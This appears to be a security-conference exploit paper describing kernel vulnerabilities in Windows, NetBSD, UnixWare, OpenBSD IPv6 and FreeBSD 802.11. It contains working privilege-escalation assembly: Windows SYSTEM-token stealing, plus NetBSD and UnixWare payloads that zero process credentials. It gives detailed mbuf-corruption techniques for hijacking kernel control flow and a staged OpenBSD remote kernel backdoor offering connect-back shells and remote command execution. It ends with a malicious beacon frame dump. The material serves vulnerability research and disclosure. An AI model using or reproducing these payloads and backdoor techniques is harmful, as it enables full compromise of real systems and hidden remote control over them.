OFF_ETHREAD
equ 0x124
; ETHREAD offset from fs
OFF_EPROCESS
equ 0x44
; EPROCESS offset in ETHREAD
%ifdef W2K
PID_SYSTEM
equ 8
; PID with SYSTEM-token
OFF_PID
equ 0x9c
; UniqueProcessId-offset
OFF_FLINK
equ 0xa0
; Flink-offset
OFF_TOKEN
equ 0x12c
; Token-offset
%else
PID_SYSTEM
equ 4
; PID with SYSTEM-token
OFF_PID
equ 0x84
; UniqueProcessId-offset
OFF_FLINK
equ 0x88
; Flink-offset
OFF_TOKEN
equ 0xc8
; Token-offset
%endif
PayloadCode:
; Get pointer to exploit process
mov eax, [fs:OFF_ETHREAD]
; eax = ETHREAD
mov eax, [eax+OFF_EPROCESS]
; eax = EPROCESS
mov ecx, eax
FindSystemProcess:
mov eax, [eax+OFF_FLINK]
; EPROCESS.ActiveProcessLinks.Flink
sub eax, OFF_FLINK
; eax = EPROCESS
cmp DWORD [eax+OFF_PID], PID_SYSTEM ; Check if PID_SYSTEM
jnz FindSystemProcess
; If not, continue searching
mov edx, [eax+OFF_TOKEN]
; edx = EPROCESS.Token (System)
mov eax, [ecx+OFF_TOKEN]
; eax = EPROCESS.Token (Exploit)
mov [ecx+OFF_TOKEN], edx
; Exploit.Token = System.Token
ret
RestoreCode:
; Get pointer to exploit process
mov eax, [fs:OFF_ETHREAD]
; eax = ETHREAD
mov eax, [eax+OFF_EPROCESS]
; eax = EPROCESS
mov ecx, [esp+4]
; ecx = Arg (pdwArgs)
mov edx, [ecx]
; edx = OrigToken
mov [eax+OFF_TOKEN], edx
; EPROCESS.Token = OrigToken
mov eax, [ecx+4]
; eax = SysCallAddr
mov edx, [ecx+8]
; edx = OrigSysCall
mov [eax], edx
; *SysCallAddr = OrigSysCall
ret
Summary
Except for being used by restricted users to escalate their privileges on a system this vulnerability could
be abused for embedding an automatic privilege escalation stub into existing exploits for
browser/office/whatever-bugs or on a malicious U3 USB-stick, to mention a few examples.
It totally bypasses the NT security model and makes any exploit which achieves code execution with
any privileges a full system compromising exploit. It could also be used to bypass sandboxing
solutions, such as SandboxIE [7]. In my humble opinion, this is quite serious, and I’m surprised to see
that it took Microsoft several years to provide a patch for it.
To Microsofts defense, they might have considered this to be only a local DoS issue, until our
BlackHat Europe talk…
References
1. http://projects.info-pull.com/mokb/
2. http://msdn.microsoft.com/msdnmag/issues/03/01/GDILeaks/
3. http://www.microsoft.com/whdc/devtools/debugging/default.mspx
4. http://www.catch22.net/tuts/vmware.asp
5. http://www.rootkit.com/newsread_print.php?newsid=176
6. http://www.scan-associates.net/papers/navx.c
7. http://www.sandboxie.com/
NetBSD Local mbuf Overflow
Vulnerability found and exploit developed by
Christer Öberg <[email protected]>
NetBSD NETISO Introduction
The NetBSD Vulnerability presented at Blackhat Las Vegas 2007 at the kernel wars talk is similar to
the NetBSD vulnerability from the original kernel wars talk in Amsterdam. Both bugs were found
using a fuzzing engine developed by Claes Nyberg <[email protected]>.
The bug
This bug is very similar to the CLNP vulnerability that was demonstrated in Amsterdam. A length
variable in a sockaddr structure is exploited through a different system call (bind()). A call is made to
bcopy() with the length argument controlled by the user through the sockaddr. This enables an attacker
to overwrite parts of tp_pcb structure, including a sockbuf structure within it.
The sockbuf structure contains among other things mbuf pointers which can be controlled with this
overflow. When the socket is closed these mbufs within the sockbuf structure are freed by sbdrop().
The bcopy call from tp_pcbbind() is shown below:
892 bcopy(tsel, tpcb->tp_lsuffix, (tpcb->tp_lsuffixlen = tlen));
The sockbuf and tp_pcb structures are quite large and is therefore not shown here. They can be found
in sys/netiso/tp_pbc.h and sys/socketvar.h respectively.
The sbdrop function (shown on the next page), will free the mbufs associated with the sockbuf that was
overwritten with the overflow earlier. This function is called when the socket is closed.
1024 sbdrop(struct sockbuf *sb, int len)
1025 {
1026 struct mbuf *m, *mn, *next;
1027
1028 next = (m = sb->sb_mb) ? m->m_nextpkt : 0;
1029 while (len > 0) {
1030 if (m == 0) {
1031 if (next == 0)
1032 panic("sbdrop");
1033 m = next;
1034 next = m->m_nextpkt;
1035 continue;
1036 }
1037 if (m->m_len > len) {
1038 m->m_len -= len;
1039 m->m_data += len;
1040 sb->sb_cc -= len;
1041 break;
1042 }
1043 len -= m->m_len;
1044 sbfree(sb, m);
1045 MFREE(m, mn);
1046 m = mn;
1047 }
1048 while (m && m->m_len == 0) {
1049 sbfree(sb, m);
1050 MFREE(m, mn);
1051 m = mn;
1052 }
1053 if (m) {
1054 sb->sb_mb = m;
1055 m->m_nextpkt = next;
1056 } else
1057 sb->sb_mb = next;
1058 /*
1059 * First part is an inline SB_EMPTY_FIXUP(). Second part
1060 * makes sure sb_lastrecord is up-to-date if we dropped
1061 * part of the last record.
1062 */
1063 m = sb->sb_mb;
1064 if (m == NULL) {
1065 sb->sb_mbtail = NULL;
1066 sb->sb_lastrecord = NULL;
1067 } else if (m->m_nextpkt == NULL)
1068 sb->sb_lastrecord = m;
1069 }
Exploiting mbufs
Mbufs are normally freed with the mfree() function shown below:
struct mbuf *
m_free(struct mbuf *m)
{
struct mbuf *n;
MFREE(m, n);
return (n);
}
The MFREE macro doing all the real work when freeing an mbuf is shown below:
#define MFREE(m, n) \
MBUFLOCK( \
mbstat.m_mtypes[(m)->m_type]--; \
if ((m)->m_flags & M_PKTHDR) \
m_tag_delete_chain((m), NULL); \
(n) = (m)->m_next; \
_MOWNERREVOKE((m), 1, m->m_flags); \
if ((m)->m_flags & M_EXT) { \
m_ext_free(m, TRUE); \
} else { \
pool_cache_put(&mbpool_cache, (m)); \
} \
)
Here are the macros and structs that define the mbuf structure in NetBSD:
#define MBUF_DEFINE(name, mhlen, mlen) \
struct name { \
struct m_hdr m_hdr; \
union { \
struct { \
struct pkthdr MH_pkthdr; \
union { \
struct _m_ext MH_ext; \
char MH_databuf[(mhlen)]; \
} MH_dat; \
} MH; \
char M_databuf[(mlen)]; \
} M_dat; \
}
struct m_hdr {
struct mbuf *mh_next; /* next buffer in chain */
struct mbuf *mh_nextpkt; /* next chain in queue/record */
caddr_t mh_data; /* location of data */
struct mowner *mh_owner; /* mbuf owner */
int mh_len; /* amount of data in this mbuf */
int mh_flags; /* flags; see below */
paddr_t mh_paddr; /* physical address of mbuf */
short mh_type; /* type of data in this mbuf */
};
struct pkthdr {
struct ifnet *rcvif; /* rcv interface */
SLIST_HEAD(packet_tags, m_tag) tags; /* list of packet tags */
int len; /* total packet length */
int csum_flags; /* checksum flags */
u_int32_t csum_data; /* checksum data */
};
struct _m_ext {
caddr_t ext_buf; /* start of buffer */
void (*ext_free) /* free routine if not the usual */
(struct mbuf *, caddr_t, size_t, void *);
void *ext_arg; /* argument for ext_free */
size_t ext_size; /* size of buffer, for ext_free */
struct malloc_type *ext_type; /* malloc type */
struct mbuf *ext_nextref;
struct mbuf *ext_prevref;
union {
paddr_t extun_paddr; /* physical address (M_EXT_CLUSTER) */
/* pages (M_EXT_PAGES) */
#ifdef M_EXT_MAXPAGES
struct vm_page *extun_pgs[M_EXT_MAXPAGES];
#endif
} ext_un;
#define ext_paddr ext_un.extun_paddr
#define ext_pgs ext_un.extun_pgs
#ifdef DEBUG
const char *ext_ofile;
const char *ext_nfile;
int ext_oline;
int ext_nline;
#endif
};
MBUF_DEFINE(mbuf, MHLEN, MLEN);
The MFREE macro will call the m_ext_free() function provided that we have set the
M_EXT flag on our mbuf.
The m_ext_free() function is shown below:
m_ext_free(struct mbuf *m, boolean_t dofree)
{
if (MCLISREFERENCED(m)) {
MCLDEREFERENCE(m);
} else if (m->m_flags & M_CLUSTER) {
pool_cache_put_paddr(m->m_ext.ext_arg,
m->m_ext.ext_buf, m->m_ext.ext_paddr);
} else if (m->m_ext.ext_free) {
(*m->m_ext.ext_free)(dofree ? m : NULL, m->m_ext.ext_buf,
m->m_ext.ext_size, m->m_ext.ext_arg);
dofree = FALSE;
} else {
free(m->m_ext.ext_buf, m->m_ext.ext_type);
}
if (dofree)
pool_cache_put(&mbpool_cache, m);
}
Only the first two and last two lines of that function are of interest provided that M_EXT is the only
flag set in m_flags and that m_ext.ext_free is not set. In this scenario the two last lines of the function
will put the mbuf into the mbpool_cache. Since it has no business being there it will cause some
problems later. The solution for this problem is to reinitialize the mbpool by calling mbinit(). The
MCLISREFERENCED and _MCLDEREFERENCE macros are shown below:
#define MCLISREFERENCED(m) ((m)->m_ext.ext_nextref != (m))
#define _MCLDEREFERENCE(m) \
do { \
(m)->m_ext.ext_nextref->m_ext.ext_prevref = \
(m)->m_ext.ext_prevref; \
(m)->m_ext.ext_prevref->m_ext.ext_nextref = \
(m)->m_ext.ext_nextref; \
} while (/* CONSTCOND */ 0)
MCLISREFERENCED(m) is true if our nextref pointer is not pointing to our own mbuf (i.e. there are
more mbufs in the chain). If there are more mbufs in this chain the _MCLDEREFERENCE macro is
executed, this macro unlinks the mbuf being freed from the chain by joining the neighboring mbufs.
Imagine passing an mbuf to this macro with the ext_nextref pointer set to 0xdeadbeef and the
ext_prevref pointer set to 0xbadc0ded. Then the result of the macro being executed can be described by
the following two C-statements where NN and PP are the offsets to ext_nextref and ext_prevref within
the mbuf respectively:
*(unsigned *) (0xbadc0ded+NN) = 0xdeadbeef
*(unsigned *) (0xdeadbeef+PP) = 0xbadc0ded
This enables an attacker to write a 32-bit value to an arbitrary address. Possible targets to take control
over the kernel are, saved return addresses on the stack, function pointers, sysent table etc.
Exploring the m_ext_free() function further, this time with the interesting bits highlighted we can see
that there is an easier way of exploiting the mbuf.
m_ext_free(struct mbuf *m, boolean_t dofree)
{
if (MCLISREFERENCED(m)) {
MCLDEREFERENCE(m);
} else if (m->m_flags & M_CLUSTER) {
pool_cache_put_paddr(m->m_ext.ext_arg,
m->m_ext.ext_buf, m->m_ext.ext_paddr);
} else if (m->m_ext.ext_free) {
(*m->m_ext.ext_free)(dofree ? m : NULL, m->m_ext.ext_buf,
m->m_ext.ext_size, m->m_ext.ext_arg);
dofree = FALSE;
} else {
free(m->m_ext.ext_buf, m->m_ext.ext_type);
}
if (dofree)
pool_cache_put(&mbpool_cache, m);
}
This time we don't want to exploit the unlinking of an mbuf. So we'll need to get the
MCLISREFERENCED macro to evaluate false. This is achieved by referencing our own mbuf with the
ext_nextref pointer.
The second block of highlighted code shows us a function pointer within the mbuf structure being
called if it is set! It is trivial to point m_ext.ext_free variable to a memory location we control and start
executing code there when the mbuf is passed to m_free()! Furthermore the variable dofree is set to
false in the same code block, which means that no attempt will be made to push the mbuf back into
mbpool_cache. This saves us the trouble of cleaning the pool up.
Payload
My payload is really simple since all I have to do is elevate my privileges locally. The way I do that, is
by obtaining a pointer to my process' proc pointer. The proc structure contains a pointer to a structure
describing the credentials. Elevating the process privileges is a simple matter of changing the uid/gid
values in the credential structure.
To obtain the proc pointer I mimic what curlwp does and first get a pointer to the curlwp (current light
weight process). A proc pointer can then be obtained from the lwp structure.
The curlwp macro along with the curcpu() intel implementation is shown below:
#define curlwp curcpu()->ci_curlwp
196 curcpu()
197 {
198 struct cpu_info *ci;
199
200 __asm __volatile("movl %%fs:%1, %0" :
201 "=r" (ci) :
202 "m"
203 (*(struct cpu_info * const *)offsetof(struct cpu_info, ci_self)));
204 return ci;
205 }
Using this information we can write a simple payload to elevate the process privileges to root.
# first get proc pointer
mov eax,[fs:0x4]
mov eax,[eax+0x14]
mov eax,[eax+0x10]
mov eax,[eax+0x8] # get pcred pointer in proc struct
mov [eax+0x4],0x0 # set UID to 0
ret
Remember mbuf being MFREE'd in a while loop in sbdrop()? We can simply check what the “len”
argument is and subtract accordingly to break out of the loop, but I'm lazy and we already got code
execution going through the mbuf function pointer when the first mbuf in the chain is freed. So instead
of playing nice and breaking out of the while loop like you'd normally do, I execute an “extra” leave
instruction in the payload before returning and return to a frame “higher” up. So the new payload
becomes:
# first get proc pointer
mov eax,[fs:0x4]
mov eax,[eax+0x14]
mov eax,[eax+0x10]
mov eax,[eax+0x8] # get pcred pointer in proc struct
mov [eax+0x4],0x0 # set UID to 0
ret
Unixware Exploitable NULL Pointer Dereference
Vulnerability found and exploit developed by
Christer Öberg <[email protected]>
Introduction
I recently discovered an exploitable NULL pointer dereference in the latest UnixWare kernel (7.1.4)
using a fuzzer coded up in minutes. At the time of writing, SCO has been informed but no patch has
been released. I will therefore explain the bug and exploit as best I can without disclosing too much
information.
The bug
I'm not giving any detail how to trigger the bug, but I will say it is trivial to do and no special privileges
are required to do so. The bug is a NULL pointer dereference. Two lines of disassembly of interest are
shown below:
mov eax, [edi + 0Ch]
call dword ptr [eax+4]
At this point edi is 0. The address space is shared between kernel and userland so if memory is
mmap():ed at address 0x0 the eax register and function call can be controlled. This leads to arbitrary
code execution in kernel context. Memory can be mapped at 0x0 using the MAP_FIXED flag.
The Payload
I was unable to find any existing UnixWare kernel shellcodes so I had to develop my own. Fortunately
this turned out to be trivial to do. I decided to elevate the privileges of a process and execute a root
shell.
In /usr/include/sys/proc.h I found the proc structure describing a Unixware process. The proc structure
got a reference to a structure describing the credentials of the process (found at offset 0x78). The
credential structure is found in /usr/include/sys/cred.h. The effective user id is found at offset four,
followed by, effective group id and real user and group id.
Changing the values user/group id values of the process in this structure of a running kernel will
change the credential of the process. To find the credentials structure we first need a struct proc pointer
for the process. The easiest way I found to do this is to call the function prfind() with the desired PID as
an argument.
I found this function reading disassembly listings of various functions, which was pretty stupid to be
fair. I should have realized that Solaris and SCO share their SVR4 roots and saved myself some time
reading the OpenSolaris source instead. Whats the point of this less that fascinating story? prfind() can
be used on Solaris too :)
So far so good, but how do you find the prfind() function? Simple! Ask the kernel, there is a system
call that will resolve kernel symbols called getksym().
Putting everything together, we get this payload:
push 0xaaaaaaaa
; process id
mov
eax,0xbbbbbbbb
; prfind()
call eax
mov
eax,[eax+0x78]
; struct cred
mov
dword [eax+4], 0
; effective uid
mov
dword [eax+8], 0
; effective gid
mov
dword [eax+12], 0
; real uid
mov
dword [eax+16], 0
; real gid
add
esp,4
; fixup stack
ret
; return
Yes I know this is not optimized, nor does it need to be. If you have a problem with that feel free to
ruin it, but if you REALLY need the space and the ~3gig that user space provides you with isn't enough
- you got other problems. ;)
OpenBSD IPv6 Remote mbuf Overflow
Vulnerability researched and exploit developed by
Claes Nyberg <[email protected]>
Introduction
This bug was found by Alfredo Ortega which also released a PoC that executed a breakpoint, but no
working exploit. The advisory can be found at [1].
Targets
OpenBSD 4.1 (prior to Feb. 26th, 2006), 4.0, 3.9, 3.8, 3.6 and 3.1 was tested and reported as vulnerable
in the advisory from Core. I found the following default installations of OpenBSD (x86) releases to be
vulnerable: 4.0, 3.9, 3.8, 3.7, 3.6, 3.5, 3.4, 3.3, 3.2 and 3.1. Earlier releases supporting IPv6 are likely to
be vulnerable as well. The code has changed between 3.6 and 3.7 so a different technique is required
for targeting versions <= 3.6. I focused on 3.7, 3.8, 3.9 and 4.0 in my exploit.
Taking control of execution flow
By sending fragmented ICMPv6 packets it is possible to overwrite a complete mbuf structure.
From /usr/src/sys/sys/mbuf.h:
struct mbuf {
struct m_hdr m_hdr;
union {
struct {
struct pkthdr MH_pkthdr; /* M_PKTHDR set */
union {
struct m_ext MH_ext; /* M_EXT set */
char MH_databuf[MHLEN];
} MH_dat;
} MH;
char M_databuf[MLEN]; /* !M_PKTHDR, !M_EXT */
} M_dat;
};
/* description of external storage mapped into mbuf, valid if M_EXT set */
struct m_ext {
caddr_t ext_buf; /* start of buffer */
/* free routine if not the usual */
void (*ext_free)(caddr_t, u_int, void *);
void *ext_arg; /* argument for ext_free */
u_int ext_size; /* size of buffer, for ext_free */
int ext_type;
struct mbuf *ext_nextref;
struct mbuf *ext_prevref;
#ifdef DEBUG
const char *ext_ofile;
const char *ext_nfile;
int ext_oline;
int ext_nline;
#endif
};
There are multiple possible ways of gaining control of the execution flow when controlling the whole
mbuf structure. When the mbuf flags are set to M_EXT (1), we can abuse the MH_ext structure in
the following ways:
• Overwrite the ext_free function pointer to jump anywhere we want
• Set ext_free=NULL and set ext_buf to an address which is free'd by free(9)
• Set ext_nextref and ext_prevref to write a 32 bit value when unlinked
At this point it seems like overwriting the ext_free function pointer inside the m_ext structure in the
mbuf is the most reliable way. The sad part is that we need to have a hard coded address to reach
controlled data.
The registers ecx, ebx and esi points to the start of the overwritten mbuf and can be used to jump to
controlled data (start of the overwritten mbuf). Unfortunately, a universal address which points to any
jmp/call instruction for these registers have not been found.
Register values after jmp to start of controlled mbuf:
0xd611db03 in ?? ()
(gdb) info registers
eax 0xd02022f0 -803200272
ecx 0xd611db00 -703472896
edx 0x81 129
ebx 0xd611db00 -703472896
esp 0xd088d9ea 0xd088d9ea
ebp 0xd088da16 0xd088da16
esi 0xd611db00 -703472896
edi 0x30 48
eip 0xd611db03 0xd611db03
From here we then make a jump backwards to stage 1 which is located directly before the overwritten
mbuf.
The payload
The payload is divided into three parts:
• Stage 1 - Installs the backdoor
• Stage 2 – The backdoor, icmp6_input wrapper
• Stage 3 – Backdoor command(s)
Stage 1
When stage 1 is executed it starts by resetting some values in the overwritten mbuf (marking it as free,
clearing flags etc), just to set things right and avoid any possible crash later on. The next step is to
search for stage 2.
Stage 2 is injected into the memory as data in a valid ICMPv6 packet, and prepended with a magic
value (0xbadc0ded) to simplify searching. The naive approach for finding stage 2 is to search the
memory for the magic value. but as it turns out there is an universal offset for finding the mbuf chain
for the previous packet on the stack from the call to m_freem() that is used to gain control of the
execution flow: %esp – 0x6c.
(gdb) x/x ((struct mbuf *)($esp+0x6c))->m_hdr.mh_next->m_hdr.mh_next->m_hdr.mh_data
0xd620e040: 0xbadc0ded
The symbol resolver used by all the stages resides in stage 2 (more about this later). Stage 1 uses this to
resolve the address of inet6sw. This is an array containing various data for IPv6. We find the address
to the current icmp6_input routine in this array (inet6sw[4].pr_input). Once the address is
found, stage 2 checks if the backdoor is already installed by comparing the first four bytes in the
function with the comparing bytes in the backdoor (the backdoor does not start with the push %ebp
instruction, but with a call to get its current location).
If the backdoor is not installed, stage 1 resolves malloc and allocates a chunk of memory for stage 2
and “arguments”. The information required (the address to the pointer, and the value) to restore the
current icmp6_input routine in inet6sw is added to the allocated buffer, to make it possible for
stage 2 to uninstall itself later on.
Since we are currently running with network interrupts disabled, we simply overwrite the function
pointer with the address of the allocated buffer.
Stage 1 then clean up the stack and returns (as suggested in the PoC code by Alfredo Ortega):
addl $0x20, %esp
popl %ebx
popl %esi
popl %edi
leave
ret
Stage 2 – The backdoor
Stage 2 monitors all ICMPv6 packets arriving to the network interface and searches for a sequence of
magic bytes that marks the payload data as a stage 3 command. Since ICMPv6 packets are used when
exploiting the vulnerability we know that these packets can reach the system if the exploit succeeded
and that we have a way to fully control the system from remote.
In order to make the exploit as general as possible, the stage 3 commands should use system calls.
Performing system calls from within the kernel requires a process context, which we don't have in the
icmp6_input routine since this is called from within an interrupt.
In earlier versions of OpenBSD it was possible to fork1() from the initproc process structure
while running from an interrupt, this does not work any more. The solution is simply to wrap a system
call and wait for a process to call it and then fork1() from that process to create a new process that
can be fully controlled from within the kernel, without affecting the system processes. Looking at the
default installations of OpenBSD, the gettimeofday() system call is used frequently by many
processes, so this is a good target.
Once a stage 3 command is detected in the payload of an ICMPv6 packet, the code is copied to a new
memory region (created by malloc as type M_DEVBUF) and set as the routine that handles the
gettimeofday() system call. In order for the stage 3 command to remove itself, the index of the
wrapped system call and the previously used address is stored at the beginning of the buffer. The
address to the symbol resolver routine is stored there as well. The stage 3 command starts its execution
by saving the current address to be able to restore the syscall:
stage3_start:
# Get our location
call get_location
nop
get_location:
# Point to start of code
# to be able to extract syscall information
popl %ecx
subl $5, %ecx
The following macros can be used for getting/setting the address of the routine that handles the system
call:
# Resolve syscall address from table
.macro get_syscall sysent, idx, reg
movl \sysent, %ecx
movl \idx, \reg # Index
movl 4(%ecx, \reg, 8), \reg
.endm
# Set syscall address in table
.macro set_syscall sysent, idx, addr
movl \sysent, %ecx
movl \idx, %eax # Index
movl \addr, 4(%ecx, %eax, 8)
.endm
Symbol resolver
The symbol resolver is used by all the stages to simplify portability between the stages. It compares
hashes against strings in the dynsym section in the ELF header to find symbols. The initial code for the
resolver was written by Crister Öberg <[email protected]> for another project. Unfortunately,
the ELF header is not mapped on a fixed address on OpenBSD. But it is mapped right after the .bss
section, so the Interrupt Descriptor Table (which can be obtained with the sidt instruction) is used as
a start address when searching for the start of the header (“\x7fELF”). The following code, written
by Joel Eriksson can be used for finding the ELF header with this method:
# Copyright (C) Joel Eriksson <[email protected]> 2007
# Get the ELF-header mapped after .bss, can be used for symbol resolving
get_elfhdr:
push %edi
push %ecx
sidt -6(%esp)
mov -4(%esp), %edi
cld
xor %ecx, %ecx
dec %ecx
mov $0x464c457f, %eax
repne scasl
lea -4(%edi), %eax
pop %ecx
pop %edi
ret
Stage 3 commands
Stage 3 commands can easily be executed directly from within the kernel, bypassing all the user level
protections. The stage 3 command starts with obtaining the current address of execution as described
above to be able to restore the previous handler of the wrapped system call. The next step is to create a
new process using the fork1() routine:
int
fork1(struct proc *p1, int exitsig, int flags, void *stack,
size_t stacksize, void (*func)(void *), void *arg,
register_t *retval);
From the fork1(9) manual:
“If arg is not NULL, it is the argument to the previous function. It de-
faults to a pointer to the new process.”
This means that arguments, like the address to the symbol resolver, can not be passed on to the new
process (as *arg) since we would end up without the pointer to the process that we control. But we
know that the address is prepended to the stage 3 command by stage 2, so we use an offset from the
instruction that fetches the address to the symbol resolver. This could be hard-coded but editing the
code before it is sent simplify reuse for new commands later on.
From connect_back.S:
connect_back_resolve_hash_offset:
subl $0x41424344, %ecx
movl (%ecx), %ecx
From iact.c:
/* Labels in connect_back.S */
extern uint8_t connect_back_resolve_hash_offset;
extern uint8_t connect_back_start;
uint32_t off;
...
/* Set offset to hash_resolve in connect_back */
off = (uint32_t)&connect_back_resolve_hash_offset -
(uint32_t)&connect_back_start+2;
*((uint32_t *)&cmd->data[off+4]) = off;
0x41424344 is then replaced with the offset from the start off the command to the label. Once the
new process has been created, stage 2 calls the real syscall handler and returns.
The following commands are implemented in the exploit:
Connect-back
TCP connect back to given IP and port which executes /bin/sh. This command of course requires that
no firewall rules are blocking the connection attempt since we try to connect from user space by
running system calls from the created process.
Shell Command
This command allows for running shell commands using ICMPv6 packets. The commands are
executed as /bin/sh -c “<command(s)>” from the created process. No output from the commands can
be seen (the output is actually sent to the standard streams of the created process, so be careful when
typing your commands). Although the exploit can be modified to send output using raw packets, it is
still possible that the firewall blocks the response. This command was mainly implemented to be able
to edit firewall rules from remote, making connect back possible.
Set Secure level
Some parts of the system is intended not to be controlled even as the root user at certain security levels,
such as loading/unloading kernel modules, writing to /dev/kmem etc. This command allows setting the
secure level to an arbitrary value.
Uninstall
The uninstall command does not run as a user land process; it just resets the icmp6_input function
pointer to the original value.
References
1. http://www.coresecurity.com/index.php5?module=ContentMod&action=item&id=1703
2. http://www.openbsd.org/
3. TCP/IP Illustrated Volume 2 “The Implementation”, W. Richard Stevens, Gary R. Wright
FreeBSD 802.11 Remote Integer Overflow
Vulnerability found and exploit developed by
Karl Janmar <[email protected]>
IEEE802.11 framework in FreeBSD
The IEEE802.11 system in FreeBSD in its current shape is relatively new (around 2001). The
framework unifies all the handling of wireless devices.
Problems faced auditing the code
Complex link-layer protocol
IEEE802.11 has a complex link-layer protocol, as a rough metric we compare the size of some input
functions.
IEEE802.11 input function, ieee80211_input(), 437 lines
Ethernet input function, ether_input(), 107 lines
Internet Protocol input function, ip_input(), 469 lines
Source-code hard to read
The code itself is not written to be easily read. It contains huge recursive switch-statements, for
example a 274-line recursive switch-statement in the input function. Other examples are macros that
include return statements and so on.
User-controlled data
The link-layer management in IEEE802.11 is unencrypted and unauthenticated, and because the traffic
is transmitted in the air it's very easy for an attacker to manipulate state.
Issues found
An issue was found in an IOCTL, this issue was the result of a logical error. The vulnerability could
allow a local user-process to disclose kernel-memory.
Another more interesting issue was also found, it is in a function called by the IOCTL which retrieves
the list of access-points in a scan. This list is maintained by the kernel, and is built from beacon frames
received.
Here is a snippet of the code in question:
static int
ieee80211_ioctl_getscanresults(struct ieee80211com *ic, struct ieee80211req *ireq)
{
union {
struct ieee80211req_scan_result res;
char data[512];
/* XXX shrink? */
} u;
struct ieee80211req_scan_result *sr = &u.res;
struct ieee80211_node_table *nt;
struct ieee80211_node *ni;
int error, space;
u_int8_t *p, *cp;
p = ireq->i_data;
space = ireq->i_len;
error = 0;
/* XXX locking */
nt = &ic->ic_scan;
TAILQ_FOREACH(ni, &nt->nt_node, ni_list) {
/* NB: skip pre-scan node state */
if (ni->ni_chan == IEEE80211_CHAN_ANYC)
continue;
get_scan_result(sr, ni); <-- calc. isr_len and other struct variables
if (sr->isr_len > sizeof(u))
continue;
/* XXX */
if (space < sr->isr_len)
break;
cp = (u_int8_t *)(sr+1);
memcpy(cp, ni->ni_essid, ni->ni_esslen); <-- copy to u
cp += ni->ni_esslen;
if (ni->ni_wpa_ie != NULL) {
memcpy(cp, ni->ni_wpa_ie, 2+ni->ni_wpa_ie[1]); <-- copy to u
cp += 2+ni->ni_wpa_ie[1];
}
if (ni->ni_wme_ie != NULL) {
memcpy(cp, ni->ni_wme_ie, 2+ni->ni_wme_ie[1]); <-- copy to u
cp += 2+ni->ni_wme_ie[1];
}
error = copyout(sr, p, sr->isr_len);
if (error)
break;
p += sr->isr_len;
space -= sr->isr_len;
}
ireq->i_len -= space;
return error;
}
This function iterates through a list of all access-points found by the system, for every access point it
create a scan-result chunk that contains all the information known about the access point. This scan-
result is first created on the stack into the area of the union u, and then copied to the userland process.
The scan-result contain some fixed parameters like supported speed, privacy-mode etc. Then at the end
there are some variable-sized fields: SSID and optionally WPA and WME fields.
The function get_scan_result() extract these fixed parameters and calculates the size of the resulting
scan-result, we are going to take a deeper look into how that size is calculated.
Here is that code:
static void
get_scan_result(struct ieee80211req_scan_result *sr, const struct ieee80211_node *ni)
{
struct ieee80211com *ic = ni->ni_ic;
memset(sr, 0, sizeof(*sr));
sr->isr_ssid_len = ni->ni_esslen;
if (ni->ni_wpa_ie != NULL)
sr->isr_ie_len += 2+ni->ni_wpa_ie[1];
if (ni->ni_wme_ie != NULL)
sr->isr_ie_len += 2+ni->ni_wme_ie[1]; <-- Add the sum of the optional fields
sr->isr_len = sizeof(*sr) + sr->isr_ssid_len + sr->isr_ie_len;
sr->isr_len = roundup(sr->isr_len, sizeof(u_int32_t));
if (ni->ni_chan != IEEE80211_CHAN_ANYC) {
sr->isr_freq = ni->ni_chan->ic_freq;
sr->isr_flags = ni->ni_chan->ic_flags;
}
………
<uninteresting code>
………
}
At the point where the two optional field’s lengths are added together, there is a flaw. The struct
member isr_ie_len is defined as a uint8_t, and if these two fields has a combined length of more then
253 (2+2 are added for the head of the field) the result will result in an integer overflow. This in turn
causes isr_len to be less then the actual size of all these fields together. Later on in the function
get_scan_results() the individual sizes of these fields are being used while doing the memcpy(), this
could potentially overflow the stack-area which holds the union u.
Test our theories
Now we need to test our theories, to do this effectively we insert hard-coded values for this function
into the kernel. Then enable kernel debugging in the kernel config:
makeoptions DEBUG=-g
options GDB
options DDB # optional
options KDB
Then recompile and reboot the system with the new kernel. We make sure DDB is our current
debugger:
$ sysctl –w debug.kdb.current=ddb
To trigger this particular code-path we call ifconfig with the “scan” command. Wow! We panic the
kernel:
Fatal trap 12: page fault while in kernel mode
fault virtual address = 0x41414155
fault code = supervisor write, page not present
instruction pointer = 0x20:0xc06c405c
stack pointer = 0x28:0xd0c5e938
frame pointer = 0x28:0xd0c5eb4c
code segment = base 0x0, limit 0xfffff, type 0x1b
= DPL 0, pres 1, def32 1, gran 1
processor eflags = interrupt enabled, resume, IOPL = 0
current process = 203 (ifconfig)
[thread pid 203 tid 100058 ]
Stopped at ieee80211_ioctl_getscanresults+0x120: subw %dx,0x14(%eax)
Now we need to figure out what could be done with this vulnerability, could this be triggered remotely?
When investigating this we find out that the 802.1X authenticator wpa_supplicant distributed with
FreeBSD calls this particular IOCTL regularly. This userland-daemon is needed for authentication to
access pointers providing better encryption/authentication then plain WEP like WPA-PSK.
Test on real system
To be able to test this for real we need to be able to send raw frames. The solution was to patch BPF in
NetBSD (which share most of the wireless code with FreeBSD) so it was possible to send arbitrary raw
ieee802.11 link-layer frames. BPF is *BSDs raw interface to the network devices.
Before sending any bogus beacon frames we want to switch to a better debugging environment though,
GDB. A serial-cable is connected to the target machine and the target is being configured to use GDB
as current debugger.
In /boot/device.hints, change the flags of the serial device:
hint.sio.0.flags="0x80”
Then switch default debugger:
$ sysctl –w debug.kdb.current=gdb
For more information see:
http://www.freebsd.org/doc/en_US.ISO8859-1/books/developers-handbook/kerneldebug.html
Sending beacon of death
A beacon-frame with large SSID, WPA and WME fields is prepared and sent from the attacking
machine.
Frame seen in tcpdump output:
16:32:33.155795 0us BSSID:cc:cc:cc:cc:cc:cc DA:ff:ff:ff:ff:ff:ff SA:cc:cc:cc:cc:cc:cc Beacon
(XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX) [1.0* 2.0* 5.5 11.0 Mbit] ESS CH: 1
0x0000: ceef f382 c40b 0000 6400 0100 0020 5858 ........d.....XX
0x0010: 5858 5858 5858 5858 5858 5858 5858 5858 XXXXXXXXXXXXXXXX
0x0020: 5858 5858 5858 5858 5858 5858 5858 0104 XXXXXXXXXXXXXX..
0x0030: 8284 0b16 0301 01dd fc00 50f2 0141 4141 ..........P..AAA
0x0040: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
...
0x0120: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x0130: 4141 4141 41dd fd00 50f2 0201 4141 4141 AAAAA...P...AAAA
0x0140: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
...
